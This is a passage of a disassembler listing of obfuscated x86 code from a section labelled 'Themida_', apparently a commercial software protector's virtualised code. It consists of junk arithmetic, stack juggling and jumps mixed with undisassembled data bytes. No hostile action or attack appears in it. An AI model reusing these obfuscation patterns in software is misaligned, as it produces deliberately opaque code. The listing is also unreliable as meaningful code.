; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 81240C8Bh, 4C4h, 242C8B00h, 0FFB5DBE9h, 0CD6855FFh
		dd 89000028h, 26E92414h, 55000065h, 91246268h, 0F5815D2Ah
		dd 57005070h, 0FFCC02E9h, 505E54FFh, 4B8h, 58C60100h, 8704C683h
		dd 0E95C2434h, 0E79Ch, 47E98E04h
		db 0EEh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_555EAF:				; CODE XREF: Themida_:0055014Fj
		add	edi, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55A87D
; ---------------------------------------------------------------------------
		dd 0B19E325h, 2B220D53h, 0E0C12B71h, 97F8E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555EDA:				; CODE XREF: Themida_:00561572j
		pop	dword ptr [esp]
		jmp	loc_553294
; ---------------------------------------------------------------------------


loc_555EE2:				; CODE XREF: Themida_:0055BF8Cj
		add	edi, ebp
		pop	ebp
		push	4D96h
		jmp	loc_55D49B
; ---------------------------------------------------------------------------
aIRiISL		db ',$R‰l',0
		align 4
aYss		db 'Y^',0
		align 2
		dw 0EC83h
		dd 241C8904h, 0E952E389h, 0E0F5h
; ---------------------------------------------------------------------------


loc_555F10:				; CODE XREF: Themida_:00553C1Cj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		sub	esp, 4
		jmp	loc_55F23B
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 98h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555F27:				; CODE XREF: Themida_:00558C84j
		mov	ecx, [esp]
		add	esp, 4
		sub	esi, 63715537h
		add	esi, eax
		push	edi
		mov	edi, 63715537h
		add	esi, edi
		pop	edi
		pop	eax
		jmp	loc_558F3E
; ---------------------------------------------------------------------------
		dd 9C240481h, 5D7DCC3Ch, 3C9CB850h, 0C5297DCCh,	240C8B58h
		dd 815A5452h, 4C2h, 0B8C4E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_555F66:				; CODE XREF: Themida_:0055C055j
		add	esp, 2
		mov	cx, [esp]
		jmp	loc_55A604
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 35BB241Ch, 52D0E193h, 81A7E957h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_555F8A:				; CODE XREF: Themida_:0055F6F2j
		mov	esp, [esp]
		or	eax, eax
		jnz	loc_55A906
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1FD812B4h
		neg	ecx
		sub	ecx, 0FFFFFFFFh
		push	2216h
		mov	[esp], esi
		jmp	loc_557113
; ---------------------------------------------------------------------------


loc_555FB5:				; CODE XREF: Themida_:0055BB22j
		pop	eax
		jmp	loc_559BB8
; ---------------------------------------------------------------------------
		db 31h
		dd 87D6F7F5h, 1CBF57F5h, 0E9A821CDh, 0FFFFD38Ch
; ---------------------------------------------------------------------------


loc_555FCC:				; CODE XREF: Themida_:005636FDj
		add	esp, 4
		add	edx, eax
		jmp	loc_561293
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 73310335h, 96BE5677h, 4641C632h, 6973E681h, 0EE816025h
		dd 31DA7222h, 4F0AE9h
		db 0
; ---------------------------------------------------------------------------


loc_555FF5:				; CODE XREF: Themida_:00551576j
		shr	eax, 6
		dec	eax
		xor	eax, 50FB5583h
		or	eax, 4A915CFDh
		push	ebx
		push	ebp
		mov	ebp, 67C50E49h
		mov	ebx, ebp
		pop	ebp
		shr	ebx, 7
		add	ebx, 249A479Eh
		xor	ebx, 7F942C41h
		sub	eax, ebx
		jmp	loc_5636F9
; ---------------------------------------------------------------------------
		db 0F7h
aScp		db 'cP',0
		align 2


loc_55602A:				; CODE XREF: Themida_:0055F554j
		mov	ebp, 40440D76h
		jmp	loc_55F865
; ---------------------------------------------------------------------------
		dd 4240483h, 0B69AE95Fh, 48BFFFFh, 4EC8124h, 89000000h
		dd 6568241Ch, 5400005Fh, 5324048Fh, 0ACFBF57h, 0B8507747h
		dd 67F96AA3h, 0F4FC7105h, 58C731DAh, 8E96E9h, 69BB5300h
		dd 89433224h, 6139E9D9h, 815D0000h, 510ADFC1h, 0AF53E915h
		dd 3489FFFFh, 34FF5424h, 0C4835E24h, 5B88E904h,	0CA2D0000h
		dd 893CA99Dh, 0EBC158C3h, 83EB8105h, 0E900305Bh, 0CB70h
		dd 348BF701h, 4C48324h,	8B243C87h, 57E92424h
		db 97h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5560BF:				; CODE XREF: Themida_:00556E9Bj
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_555766
; ---------------------------------------------------------------------------
		dw 54F6h
		dd 80580124h, 5DE9ACF4h
		db 0C7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5560DB:				; CODE XREF: Themida_:0056232Fj
		mov	edi, eax
		pop	eax
		or	edi, 14C41B12h
		jmp	loc_563037
; ---------------------------------------------------------------------------
aS_6		db '[߶',0
		db 0
; ---------------------------------------------------------------------------


loc_5560EF:				; CODE XREF: Themida_:00551BC7j
		mov	ecx, 0B7EAD580h
		add	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		add	edi, 7F7D14E4h
		sub	edi, edx
		sub	edi, 7F7D14E4h
		pop	edx
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		or	eax, eax
		jz	loc_558E3D
		push	dword ptr [edi+28h]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	210Ah
		mov	[esp], edi
		mov	edi, 4EAE696Dh
		push	ecx
		mov	ecx, edi
		mov	ebp, ecx
		mov	ecx, [esp]
		jmp	loc_55583B
; ---------------------------------------------------------------------------
		db 29h
		dd 0C1815DE9h, 4D78000Fh, 5524348Bh, 9421E9h, 24248900h
		dd 4240483h, 8124048Fh,	42404h,	815A0000h, 4C2h, 328E6800h
		dd 2C890000h, 4BD24h, 0C2810000h, 0C34552Ch, 0FF97C1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556199:				; CODE XREF: Themida_:0056241Ej
		mov	esi, [esp]
		add	esp, 4


loc_55619F:				; CODE XREF: Themida_:0055C80Dj
		push	235h
		mov	[esp], ebx
		mov	eax, [esp]
		push	1A4Ch
		jmp	loc_55004C
; ---------------------------------------------------------------------------
		dd 0CF88E188h, 2434FF59h, 0E924048Bh, 0FFFFE16Dh, 9619D0BEh
		dd 5EF2010Ah, 6E2C14Ah,	38CC68h, 242C8900h, 233FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5561DD:				; CODE XREF: Themida_:0055BFEAj
		xchg	eax, [esp]
		pop	edx
		jmp	loc_560D2C
; ---------------------------------------------------------------------------
		dw 91B8h
		dd 83168743h, 348904ECh, 1B32BE24h, 0F0290993h,	2A08255Eh
		dd 230D5792h, 0E927381Bh, 8D4Fh, 599468h, 0A9FEE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556212:				; CODE XREF: Themida_:00560996j
		push	esi
		mov	esi, 11B8694Bh
		sub	ecx, esi
		jmp	loc_550A4D
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 4C38300h, 5C241C87h, 0A890E9h,	4FEA8100h, 0E914153Fh
		dd 0FFFF96D8h
; ---------------------------------------------------------------------------


loc_55623C:				; CODE XREF: Themida_:0055F673j
		add	ecx, ebx
		jmp	loc_55EF49
; ---------------------------------------------------------------------------
aBXSL		db ' ',1Bh,'^鵋',0
		align 2
		dw 0E3C1h
		dd 0ABE94B03h, 83000010h, 0D6F604C4h, 0E9EEEE80h, 0AC58h
; ---------------------------------------------------------------------------


loc_556264:				; CODE XREF: Themida_:00554D5Fj
		shr	ecx, 7
		and	ecx, 3BE631F9h
		xchg	edx, ecx
		jmp	loc_55C878
; ---------------------------------------------------------------------------


loc_556274:				; CODE XREF: Themida_:0055DB98j
		neg	edx
		jmp	loc_55BFE4
; ---------------------------------------------------------------------------
		db 33h
		dd 4312404h, 24043324h,	0D324248Bh, 0E99C2404h,	0FFFF9586h
; ---------------------------------------------------------------------------


loc_556290:				; CODE XREF: Themida_:00559907j
		pop	edi
		push	edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 2996009Eh
		jmp	loc_55CE09
; ---------------------------------------------------------------------------


loc_5562A5:				; CODE XREF: Themida_:00560D27j
		sub	esi, 34EA0512h
		jmp	loc_550EEB
; ---------------------------------------------------------------------------


loc_5562B0:				; CODE XREF: Themida_:00557D55j
		add	ebp, eax
		sub	ebp, 40AD3004h
		pop	eax
		jmp	loc_556871
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 7E9C15Ah, 0EABB850h,	0E0C17F5Eh, 0BE564003h,	8FD65A2h
		dd 0CBE9F029h, 0F7FFFFE8h, 5289E9D8h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5562E2:				; CODE XREF: Themida_:005565F2j
					; Themida_:0055BE85j ...
		push	dword ptr [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		jmp	loc_551F0D
; ---------------------------------------------------------------------------
		dw 5C01h
		dd 6C810424h, 44020424h, 9CE94D75h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_556303:				; CODE XREF: Themida_:00550D20j
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_563A24
; ---------------------------------------------------------------------------
		dd 8003E7C0h, 0F780CCE7h, 1C43E91Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556336:				; CODE XREF: Themida_:0055A2CCj
		push	esi
		push	edx
		push	ebp
		mov	ebp, 77BB7E6Fh
		jmp	loc_55692A
; ---------------------------------------------------------------------------


loc_556343:				; CODE XREF: Themida_:0055C8ADj
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_560C87
; ---------------------------------------------------------------------------
		db 0ACh, 66h, 52h
		dd 697FE9h
		db 0
; ---------------------------------------------------------------------------


loc_556361:				; CODE XREF: Themida_:005643FBj
		add	ah, dl
		jmp	loc_55DE1F
; ---------------------------------------------------------------------------


loc_556368:				; CODE XREF: Themida_:00561793j
		push	ebx
		mov	ebx, 0BDB19BDh
		xor	ebx, 1EF2672Ch
		xor	edx, ebx
		pop	ebx
		jmp	loc_563BF0
; ---------------------------------------------------------------------------


loc_55637C:				; CODE XREF: Themida_:0055B861j
		add	eax, 4
		add	eax, 4
		jmp	loc_55395A
; ---------------------------------------------------------------------------
		db 1, 0CBh, 51h
		dd 0FFF0D6E9h, 240489FFh, 76BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_556399:				; CODE XREF: Themida_:0055C2ECj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_55B38A
; ---------------------------------------------------------------------------
		dd 4C483h, 0EC8359E8h, 241C8904h, 0C381E389h, 4, 4669BE56h
		dd 0E9465EA8h, 0FFFFBBB6h, 4EC81h, 2C890000h, 66ECBD24h
		dd 0F74D4B68h, 5905E9DDh, 33B80000h, 0E9562239h, 6D3Fh
		dd 68243489h, 0Ah, 8124348Bh, 4C4h, 379D6800h, 34890000h
		dd 3B716824h, 34890000h, 70756824h, 1C890000h, 1F0ABB24h
		dd 0DE89053Ah, 83241C8Bh, 73E904C4h, 0AC0000CDh, 968D830h
		dd 89000023h, 9EB1240Ch, 0FFC95BE9h, 64A3BAFFh,	0EA811EE3h
		dd 1, 9FEABF57h, 0FA01FEA5h, 0E9243C8Bh, 0FFFFEE9Eh, 0D6E9C301h
		dd 0FFFFFFABh, 0E9042474h, 0D5A9h, 0E958C129h, 0C0C5h
		dd 0C781E789h, 4, 56B6E9h
		db 0
; ---------------------------------------------------------------------------


loc_556471:				; CODE XREF: Themida_:00552991j
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		xor	[esp], ecx
		jmp	loc_558EB5
; ---------------------------------------------------------------------------


loc_556480:				; CODE XREF: Themida_:00560F2Cj
		xor	ch, dl
		pop	dx
		add	dh, 21h
		add	dh, ch
		sub	dh, 21h
		jmp	loc_5624C0
; ---------------------------------------------------------------------------


loc_556491:				; CODE XREF: Themida_:00550852j
		push	esp
		pop	edi
		push	eax
		mov	eax, 4
		sub	edi, 5DBA001Ah
		add	edi, eax
		add	edi, 5DBA001Ah
		pop	eax
		push	0B28h
		mov	[esp], esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		xchg	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		xchg	edx, [edi+24h]
		inc	edx
		xor	[edi+24h], edx
		xor	edx, [edi+24h]
		push	eax
		push	2D24h
		mov	[esp], esi
		mov	esi, 423F452Ah
		push	0CF9h
		jmp	loc_564342
; ---------------------------------------------------------------------------


loc_5564E4:				; CODE XREF: Themida_:0055329Ej
		mov	[esp], eax
		mov	ah, 0Fh
		jmp	loc_554815
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 4B06547Ch, 295DEB29h, 7CC381EBh, 8B4B0654h, 0C483242Ch
		dd 241C8704h, 242C895Ch, 0FFBC19E9h, 57505DFFh,	769DE9h
		dd 5BD90100h, 0E904C183h, 0FFFF9346h, 89243C89h, 4C781E7h
		dd 0E9000000h, 0FFFFA97Dh
; ---------------------------------------------------------------------------


loc_556534:				; CODE XREF: Themida_:0055ED92j
		add	esp, 4
		jmp	loc_55DC56
; ---------------------------------------------------------------------------


loc_55653F:				; CODE XREF: Themida_:0055F6B6j
		mov	ebx, 0FC90228h
		shl	ebx, 4
		xor	ebx, 0C4C576E7h
		or	eax, ebx
		jmp	loc_55FFA7
; ---------------------------------------------------------------------------
		dd 4C281h, 2D680000h, 8900007Eh, 4BB241Ch, 29000000h, 14335BDAh
		dd 24143124h, 5C241433h, 89243C89h, 8CA3E9E7h, 0F6810000h
		dd 53290B49h, 4E05EEC1h, 0B66CE94Eh, 0EEC1FFFFh, 81DEF702h
		dd 6B0801C6h, 2BF68161h, 291F4CC9h, 0D9015EF1h,	9D2DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5565A9:				; CODE XREF: Themida_:0055A547j
		neg	esi
		jmp	loc_552DF1
; ---------------------------------------------------------------------------
		dd 4453C4BBh, 0E645E974h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5565BA:				; CODE XREF: Themida_:005530AFj
		pop	eax
		sub	esi, 73FA5D9Ah
		sub	esi, edx
		jmp	loc_55E1E7
; ---------------------------------------------------------------------------
		dd 4BDh, 0E9E82900h, 0FFFFA51Fh
; ---------------------------------------------------------------------------


loc_5565D4:				; CODE XREF: Themida_:00557E80j
		pop	eax
		xchg	ebx, [esp]
		jmp	loc_550B37
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 6
		dd 0FFD0CFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5565E5:				; CODE XREF: Themida_:00564D66j
		push	ecx
		jmp	loc_552EBE
; ---------------------------------------------------------------------------


loc_5565EB:				; CODE XREF: Themida_:00564E23j
		add	eax, edx
		pop	edx
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5562E2
; ---------------------------------------------------------------------------
		db 1
		dd 0C875DE9h, 0C92AE924h, 1ABAFFFFh, 0E91E6B29h, 8B20h
		dd 240CFF51h, 6E1C159h,	0D6F7F187h, 0CE31F131h,	0C181F131h
		dd 5EDC2F04h, 5359CF89h, 7C4D8ABBh, 5BDF3167h, 38F068h
		dd 4EDEE900h, 5D500000h, 0AD5BE958h, 0EA010000h, 81242C8Bh
		dd 4C4h, 24148700h, 0EDBF575Ch,	566E2132h, 0FFEDC0E9h
		dd 68E189FFh, 406Dh, 67F6E9h
		db 0
; ---------------------------------------------------------------------------


loc_556669:				; CODE XREF: Themida_:005540FFj
		add	esp, 4
		not	eax
		push	ebp
		push	ecx
		mov	ecx, 51A97889h
		neg	ecx
		xor	ecx, 971C5D59h
		mov	ebp, ecx
		pop	ecx
		xor	eax, ebp
		jmp	loc_557727
; ---------------------------------------------------------------------------
		db 0B9h
		dd 5152778Eh, 756FE181h, 0C1817D7Dh, 3C020570h,	725568h
		dd 24348900h, 6F68E4BEh, 5EF13147h, 7938C181h, 0CF31E5E4h
		dd 5FFE3159h, 79CCE81h,	0C6810EE2h, 0A101D025h,	4247401h
		dd 5324348Bh, 0C381E389h, 4, 4C381h, 1C870000h,	48F5C24h
		dd 4BB5324h, 1000000h, 8B04245Ch, 0AE9241Ch, 66000030h
		dd 6824048Bh, 5754h, 54240489h,	5124048Bh, 5553E189h, 0F7196B68h
		dd 0F5815D71h, 2A1077C9h, 2C8BEB89h, 4C48124h, 50000000h
		dd 0F41FF5B8h, 6E8C158h, 0E906E0C1h, 4A4h, 1468555Dh, 89000005h
		dd 4832424h, 0A6E90424h
		db 55h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55673F:				; CODE XREF: Themida_:005613E6j
		add	esp, 4
		and	eax, edx
		jmp	loc_5635BA
; ---------------------------------------------------------------------------


loc_556749:				; CODE XREF: Themida_:00550D4Fj
		add	edx, ecx
		mov	ecx, [esp]
		jmp	loc_55F25D
; ---------------------------------------------------------------------------
		db 68h
		dd 925h, 68240C89h, 7DE2h, 3A85E9h, 4B900h, 0CEE90000h
		dd 0FF00007Dh, 48B2434h, 8210E924h, 12D0000h, 35000000h
		dd 17895E99h, 1A7DC42Dh, 26526815h, 33E90000h, 8B0000A1h
		dd 0C4832414h, 0C607E904h, 0EA810000h, 27B210DCh, 81C2295Fh
		dd 0B43C90C2h, 95E95823h, 810000AFh, 8A73D9CFh,	0B5C78125h
		dd 8363AC6Dh, 1C8904ECh, 28B9BB24h, 0F3816321h,	4540483Ah
		dd 8107E3C1h, 4E30EBh, 0DBF74B67h, 0FF9CCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5567E1:				; CODE XREF: Themida_:005515AFj
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_55C51F
; ---------------------------------------------------------------------------
		db 31h
		dd 14332414h, 24248B24h, 53F1F766h, 0B1B68h, 0C9CFE900h
		dd 0C8BFFFFh, 0E3B4E924h, 0C5290000h, 2225E958h, 0C6830000h
		dd 24348704h, 61C3815Ch, 817F4129h, 0AE46A3C3h,	81F30152h
		dd 0AE46A3EBh, 17386852h, 0D1E90000h, 52000073h, 0D9E95250h
		dd 0BB000041h, 512C1A01h, 815BD989h, 1C1h, 59C18100h, 8317392Eh
		dd 0C981FFE9h, 17C5735Ah, 0F60BE949h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556866:				; CODE XREF: Themida_:005581AAj
		xor	edx, 22018FEh
		jmp	loc_55B906
; ---------------------------------------------------------------------------


loc_556871:				; CODE XREF: Themida_:005562B9j
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_552DE6
; ---------------------------------------------------------------------------


loc_55687F:				; CODE XREF: Themida_:00556C8Ej
		pop	esi
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		push	edx
		mov	edx, 0ABA2039h
		sub	[esp+4], edx
		pop	edx
		add	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	16E2h
		mov	[esp], edx
		jmp	loc_561AF6
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8F662424h, 87662404h, 0D5F766EAh, 66EA8766h,	74FF6652h
		dd 8B660224h, 87E92414h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5568D3:				; CODE XREF: Themida_:00550B7Aj
		push	esp
		mov	edi, [esp]
		jmp	loc_55C859
; ---------------------------------------------------------------------------


loc_5568DC:				; CODE XREF: Themida_:00560FB0j
		and	edx, 35E53600h
		shl	edx, 7
		xor	edx, 76E9580Ah
		jmp	loc_55A2B7
; ---------------------------------------------------------------------------
		dd 34FFDF01h, 26DDE924h, 21BB0000h, 814A0B62h, 597B8CE9h
		dd 0E9D92973h, 3D83h, 1E3DE3BEh, 0A4EA8108h, 121FD53h
		dd 0A4BB53F2h, 121FD53h, 34FF5BDAh, 0CA9DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55692A:				; CODE XREF: Themida_:0055633Ej
		mov	edx, 6EF3298Bh
		xor	edx, ebp
		jmp	loc_55DCA9
; ---------------------------------------------------------------------------
		dw 53ACh
		dd 815A5452h, 4C2h, 485AE900h, 0EA010000h, 3D35BF57h, 0FA01079Ch
		dd 2CC2815Fh, 8B3E1900h, 6857242Ch, 3FFDh, 0E9242489h
		dd 495Ch
; ---------------------------------------------------------------------------


loc_556968:				; CODE XREF: Themida_:0056355Aj
		mov	bh, 3
		xor	dl, bh
		pop	bx
		push	eax
		mov	ah, 0B7h
		jmp	loc_561DD9
; ---------------------------------------------------------------------------


loc_556976:				; CODE XREF: Themida_:00552D4Aj
		shr	ecx, 6
		push	edx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		mov	eax, 4
		sub	ecx, eax
		jmp	loc_563A2E
; ---------------------------------------------------------------------------


loc_556990:				; CODE XREF: Themida_:005637B0j
		mov	ebx, 1D9C5890h
		xor	ebx, 69CF0544h
		push	edi
		mov	edi, 491A16C7h
		and	edi, 37991543h
		and	edi, 152407E8h
		not	edi
		sub	edi, 4652DC92h
		jmp	loc_559232
; ---------------------------------------------------------------------------


loc_5569BA:				; CODE XREF: Themida_:0054F8D3j
		mov	edx, esi
		pop	esi
		jmp	loc_56228E
; ---------------------------------------------------------------------------
aWsrx		db 'Wrx',0
		align 4
		dd 0E9240433h, 0FFFFA680h
; ---------------------------------------------------------------------------


loc_5569D0:				; CODE XREF: Themida_:005628B5j
		mov	edx, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 4
		add	edx, esi
		jmp	loc_55A6AC
; ---------------------------------------------------------------------------
		dd 0FF243C89h, 5F042474h, 5C24048Fh, 0B9240C89h, 14272E7Ah
		dd 0FFE0A3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5569FD:				; CODE XREF: Themida_:00560334j
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	dx, [esp]
		jmp	loc_5628B0
; ---------------------------------------------------------------------------
		dd 24048F5Ah, 92DFE9h
		db 0
; ---------------------------------------------------------------------------


loc_556A15:				; CODE XREF: Themida_:00563A29j
		shl	edx, 1
		sub	esp, 4
		jmp	loc_55DE08
; ---------------------------------------------------------------------------


loc_556A1F:				; CODE XREF: Themida_:00555786j
		sub	eax, 0F038F6B2h
		jmp	loc_55BB20
; ---------------------------------------------------------------------------
		db 68h,	0C2h, 22h
		dd 2C890000h, 7E9BD24h,	0BA52235Eh, 6D344028h, 815AD529h
		dd 0E97DE3F5h, 0A1E58101h, 81236247h, 0BFFDE4C5h, 5DEA29DCh
		dd 0E9241433h, 0FFFFA768h, 60E9D5F6h, 8900005Fh, 0EE892434h
		dd 5D5EF289h, 317AEF81h, 0EF811A44h, 7151208Bh,	0D5E9D701h
		dd 33FFFF96h, 248B2404h, 240CFE24h, 8D88E99Ch, 83E9FFFFh
		dd 8FFFFF8Dh, 248B2404h, 8D78E924h, 72B6FFFFh, 9BF4E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556AA6:				; CODE XREF: Themida_:00553544j
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	394h
		mov	[esp], esi
		push	esp
		jmp	loc_555D48
; ---------------------------------------------------------------------------
		dd 8108E6C1h, 6D20D6EEh, 81D6F75Dh, 0C982D1F6h,	0FFF10182h
		dd 2AE92434h, 12h, 82B252C1h, 0FE8DEA80h, 6BEA80C2h, 0DCF0E9h
		dd 37CF8100h, 5204F850h, 237C6BAh, 0D2E28128h, 8124F501h
		dd 0BB6AB1EAh, 9E5CE944h, 2C29FFFFh, 24048124h,	765D143Ah
		dd 81242C8Bh, 4C4h, 88C58100h, 13B7E7Fh, 242C8BE9h, 4C481h
		dd 0C330000h, 240C3124h, 8B240C33h, 89562424h, 4C681E6h
		dd 50000000h, 98574EB8h, 8BE3561h, 2AE91E55h, 5FFFFFD2h
		dd 8904EC83h, 7CBB241Ch, 522FA247h, 675CBD55h, 0EA8930B8h
		dd 356BE9h, 0C3895300h,	0E95BDF89h, 8900h, 4C481h, 81680000h
		dd 8900000Fh, 0A8B9240Ch, 0E926E70Eh, 0FFFFBFEDh, 2C0835Ch
		dd 8B240487h, 4082424h,	5FE99C24h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556BB7:				; CODE XREF: Themida_:0055C43Cj
		add	ch, 7Fh
		pop	edx
		xor	al, ch
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_54F816
; ---------------------------------------------------------------------------
		dd 35D8F740h, 0FCEC8EA1h, 8158C329h, 0E74F3EC1h, 81D90163h
		dd 0E74F3EE9h, 241C8B63h, 8A4EE9h, 1C77FF00h, 226268h
		dd 0CCCBE900h, 0FBDFFFFh, 814D7800h, 0AA4CB5C1h, 0DB8AE934h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556C0E:				; CODE XREF: Themida_:0055AD06j
		mov	[esp], edi
		jmp	loc_550EC8
; ---------------------------------------------------------------------------
a1S		db '1,$[',0
		align 2


loc_556C1E:				; CODE XREF: Themida_:0055A2E6j
		mov	ecx, 73C679FCh
		inc	ecx
		add	ecx, 4BD13196h
		jmp	loc_551E57
; ---------------------------------------------------------------------------
		db 29h
		dd 5EF387DEh, 8105EBC1h, 304E1BCBh, 3CF7E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556C42:				; CODE XREF: Themida_:00555CFFj
		mov	ecx, edx
		jmp	loc_55A1BC
; ---------------------------------------------------------------------------
		db 9Dh,	0C3h, 0E9h
		dd 0FFFF8BC6h, 48162ABBh, 0E9D8893Fh, 29B6h, 0EE81C601h
		dd 16527582h, 4C68158h,	56000000h, 42474FFh, 0AA57E9h
		dd 242C2900h, 0B850455Dh, 38C708FBh, 0FFDB54E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556C85:				; CODE XREF: Themida_:005637EEj
		add	edx, 5A0B1F70h
		push	dword ptr [esp]
		jmp	loc_55687F
; ---------------------------------------------------------------------------


loc_556C93:				; CODE XREF: Themida_:005632CAj
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55BDB6
; ---------------------------------------------------------------------------
		db 35h
		dd 0E1F28F55h, 705EE9h,	8052B600h, 0F3082AEEh, 0E789575Ah
		dd 4C781h, 0EF830000h, 243C8704h, 0A14DE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556CDA:				; CODE XREF: Themida_:0055FD3Cj
		mov	edi, 39AB6BABh
		jmp	loc_552336
; ---------------------------------------------------------------------------
		dd 8904EC83h, 0EC832434h, 0E0C2E904h, 815D0000h, 31F876EDh
		dd 5DEE31A1h, 495E9h, 0BB535900h, 50DB46DAh, 46D6EB81h
		dd 0D90150DBh, 0ADB2E9h, 92ED8000h, 90C7E95Bh, 0CF010000h
		dd 54C78159h, 2979CD68h, 54EF81DFh, 8179CD68h, 3D5FFEEFh
		dd 0C1E95B57h, 0C1FFFFA6h, 0D1F706E1h, 9E96F181h, 0CE290BE8h
		dd 0B4C3E959h, 8B66FFFFh, 168240Ch, 8900006Ch, 2C682404h
		dd 89000019h, 0F7E92424h, 5200000Ch, 0B61C04BAh, 5AD0016Ah
		dd 6868D801h, 89000071h, 0E9502414h, 5DA9h, 0FF8A91E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556D85:				; CODE XREF: Themida_:0055DF74j
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_559F3C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481242Ch, 4, 0FFE66DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556DA1:				; CODE XREF: Themida_:00556EDBj
		xor	edx, 71746CD5h
		push	ebx
		mov	ebx, 6CD577FEh
		xor	ebx, 4CD34370h
		add	edi, ebx
		pop	ebx
		add	edi, edx
		push	ecx
		mov	ecx, 2006348Eh
		sub	edi, ecx
		pop	ecx
		mov	edx, [esp]
		add	esp, 4
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_55D9FE
; ---------------------------------------------------------------------------
		db 0BEh, 2, 0
		dd 7A680000h, 0E900002Fh, 0FFFFA56Ah, 8124048Bh, 4C4h
		dd 53516600h, 0D7F6AEB7h, 8006E780h, 82E9C0EFh,	0FF00003Fh
		dd 55592434h, 482BE9h, 8BDD8900h, 0C481241Ch, 4, 0C107E5C1h
		dd 0E5C106EDh, 38B95108h, 0F75C2A7Eh, 60E950D1h, 89000088h
		dd 7BE9240Ch, 830000B5h, 1C8704EBh, 1C895C24h, 81E38924h
		dd 4C3h, 68515500h, 0FFC67D1h, 0EDE18159h, 811A064Bh, 0F825A2E9h
		dd 0E5C1816Ch, 8962F3E1h, 5AE959CDh
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


